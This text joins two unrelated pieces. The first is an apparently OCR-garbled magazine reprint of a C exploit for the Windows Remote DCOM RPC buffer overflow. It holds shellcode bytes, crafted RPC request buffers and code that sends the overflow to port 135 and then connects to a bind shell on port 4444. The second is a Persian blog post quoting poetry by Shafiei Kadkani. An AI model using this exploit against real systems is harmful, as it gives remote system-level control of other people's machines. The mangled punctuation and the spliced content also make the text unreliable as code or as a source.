\"xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
\"xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
\"xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
\"xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
\"xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
\"xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" 17 www.WebSecurityMgz.com
RPC buffer Overflow
\"xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
\"xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
\"xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
\"xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
\"xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
\"xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
\"x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
\"xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
\"x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
\"xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
\"x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
\"xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
\"x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
\"x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
\"x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
\"xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
\"x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
\"x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
\"x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
\"xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
\"x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04؛"
unsigned char request4} = []
۰x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x20, 0x00, 0x00،
۰x00, 0x30, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88،
۰x2A, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00،
۰x00, 0x28, 0x8C, 0x0C, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
؛{
*/ripped from TESO code/*
#ifndef WIN32
void shell (int sock(
}
int l؛
char buf[512؛[
fd_set rfds؛
while (1} ( 18 www.WebSecurityMgz.com
RPC buffer Overflow
FD_SET (0, &rfds؛(
FD_SET (sock, &rfds؛(
select (sock ی ١, &rfds, NULL, NULL, NULL؛(
if (FD_ISSET (0, &rfds} ((
l = read (0, buf, sizeof (buf؛((
if (l <= 0} (
printf("\n - Connection closed by local user\n؛("
exit (EXIT_FAILURE؛(
{
write (sock, buf, l؛(
{
if (FD_ISSET (sock, &rfds} ((
l = read (sock, buf, sizeof (buf؛((
if (l == 0} (
printf ("\n - Connection closed by remote host.\n؛("
exit (EXIT_FAILURE؛(
{ else if (l < 0} (
printf ("\n - Read failure\n؛("
exit (EXIT_FAILURE؛(
{
write (1, buf, l؛(
{
{
{
#endif
int main(int argc, char **argv(
}
int sock؛
int len, len1؛
unsigned int target_id؛
unsigned long ret؛
struct sockaddr_in target_ip؛
unsigned short port = 135؛
unsigned char buf1[0x1000؛[
unsigned char buf2[0x1000؛[
#ifdef WIN32
WSADATA wsaData؛ 19 www.WebSecurityMgz.com
RPC buffer Overflow
#endif
printf("---------------------------------------------------------\n؛("
printf("- Remote DCOM RPC Buffer Overflow Exploit\n؛("
printf("- Original code by FlashSky and Benjurry\n؛("
printf("- Rewritten by HDM <hdm [at] metasploit.com>\n؛("
printf("- Ported to Win32 by Benjamin Lauzière <blauziere [at] altern.org>\n؛("
if (argc < 3} (
printf("- Usage: %s <Target ID> <Target IP>\n", argv[0؛([
printf("- Targets:\n؛("
for(len = 0; targets[len] != NULL; len} ( یی printf("- %d\t%s\n", len, targets[len؛([
{
printf("\n؛("
exit(1(؛
{
*/yeah, get over it/* (:
target_id = atoi(argv[1؛([
ret = offsets[target_id؛[
printf("- Using return address of 0x%.8x\n", ret؛(
memcpy(sc ی ٣۶, (unsigned char *)&ret, 4؛(
target_ip.sin_family = AF_INET؛
target_ip.sin_addr.s_addr = inet_addr(argv[2؛([
target_ip.sin_port = htons(port؛(
#ifdef WIN32
if (WSAStartup(MAKEWORD(2, 0), &wsaData} ((
printf("WSAStartup failed\n؛("
return 0؛
{
#endif
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1} (
perror("- Socket؛("
#ifdef WIN32
WSACleanup؛()
#endif
return (0؛( 20 www.WebSecurityMgz.com
RPC buffer Overflow
{
if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0} (
perror("- Connect؛("
#ifdef WIN32
WSACleanup؛()
#endif
return (0؛(
{
len = sizeof(sc؛(
memcpy(buf2, request1, sizeof(request1؛((
len1 = sizeof(request1؛(
)*unsigned long *)(request2) = *(unsigned long *)(requestی (2 sizeof(sc) / 2؛
)*unsigned long *)(request2 ی ٨) = *(unsigned long *)(requestی ٨) ی 2 sizeof(sc) / 2؛
memcpy(bufی 2 len1, request2, sizeof(request2؛((
len1 = lenی 1 sizeof(request2؛(
memcpy(bufی 2 len1, sc, sizeof(sc؛((
len1 = lenی 1 sizeof(sc؛(
memcpy(bufی 2 len1, request3, sizeof(request3؛((
len1 = lenی 1 sizeof(request3؛(
memcpy(bufی 2 len1, request4, sizeof(request4؛((
len1 = lenی 1 sizeof(request4؛(
)*unsigned long *)(buf2 ی ٨) = *(unsigned long *)(bufی ٨) ی 2 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠x10) = *(unsigned long *)(buf2 ی ٠xی (10 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠x80) = *(unsigned long *)(buf2 ی ٠xی (80 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠x84) = *(unsigned long *)(buf2 ی ٠xی (84 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠xb4) = *(unsigned long *)(buf2 ی ٠xbی (4 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠xb8) = *(unsigned long *)(buf2 ی ٠xbی (8 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠xd0) = *(unsigned long *)(buf2 ی ٠xdی (0 sizeof(sc) - 0xc؛
)*unsigned long *)(buf2 ی ٠x18c) = *(unsigned long *)(buf2 ی ٠x18c) ی sizeof(sc) - 0xc؛
if (send(sock, bindstr, sizeof(bindstr), 0) == -1} (
perror("- Send؛("
#ifdef WIN32
WSACleanup؛()
#endif
return (0؛(
{
21 www.WebSecurityMgz.com
RPC buffer Overflow
len = recv(sock, buf1, 1000, 0؛(
if (send(sock, buf2, len1, 0) == -1} (
perror("- Send؛("
#ifdef WIN32
WSACleanup؛()
#endif
return (0؛(
{
#ifdef WIN32
closesocket(sock؛(
printf("Use Netcat to connect to %s:4444\n", argv[2؛([
WSACleanup؛()
#else
close(sock؛(
sleep(1؛(
target_ip.sin_family = AF_INET؛
target_ip.sin_addr.s_addr = inet_addr(argv[2؛([
target_ip.sin_port = htons(4444؛(
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1} (
perror("- Socket؛("
return (0؛(
{
if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0} (
printf("- Exploit appeared to have failed.\n؛("
return (0؛(
{
printf("- Dropping to System Shell...\n\n؛("
shell(sock؛(
#endif
return (0؛(
{
22 www.WebSecurityMgz.com

بوی جوی مولیان

آزاد روزفراخ — Mon, 16 Jan 2012 19:46:14 GMT

بوی جوی مولیان
محمد رضا شفیعی کدکنی ( م.سرشک)
2
دیباچه
می خواهم
در زیر آسمان نشابور
چندان بلند و پاک
بخوانم که هیچ گاه
این خیل سیل وار مگس ها
نتوانند
روی صدای من بنشینند
می خواهم...............

نویسنده آزاد روزفراخ

بوی جوی مولیان
محمد رضا شفیعی کدکنی ( م.سرشک)
2
دیباچه
می خواهم
در زیر آسمان نشابور
چندان بلند و پاک
بخوانم که هیچ گاه
این خیل سیل وار مگس ها
نتوانند
روی صدای من بنشینند
می خواهم
در مزرع ستاره زنم شخم
و بذرهای صاعقه را یک یک
با دستهای خویش بپاشم
وقتی حضور خود را دریافتم
دیدم تمام جاده ها از من
آغاز می شود
ای حاضران غایب از خود
ای شاهدان حادثه از دور
من عهد کرده ام
حتی اگرچه یک شب
رم را
پس از نرون
به تماشا روم نرون
دیوانه ای که می خواهد
زنجیر را به گردن تندر درافکند
منطق الطیر
به هیچ خنجر
این ریسمان نمی گسلد
صدا می آید
یک ریز
روز و شب از باغ
چیو چیو
چ چ
چه چه
چیو چیو
چه چه
زلال زمزمه
جاری است زان سوی دیوار
جلال می پرسد
این مرغ را گلو هرگز
ز کار خواندن و خواندن نمی شود خسته
که با نوایش در هرم روز و سایه ی شب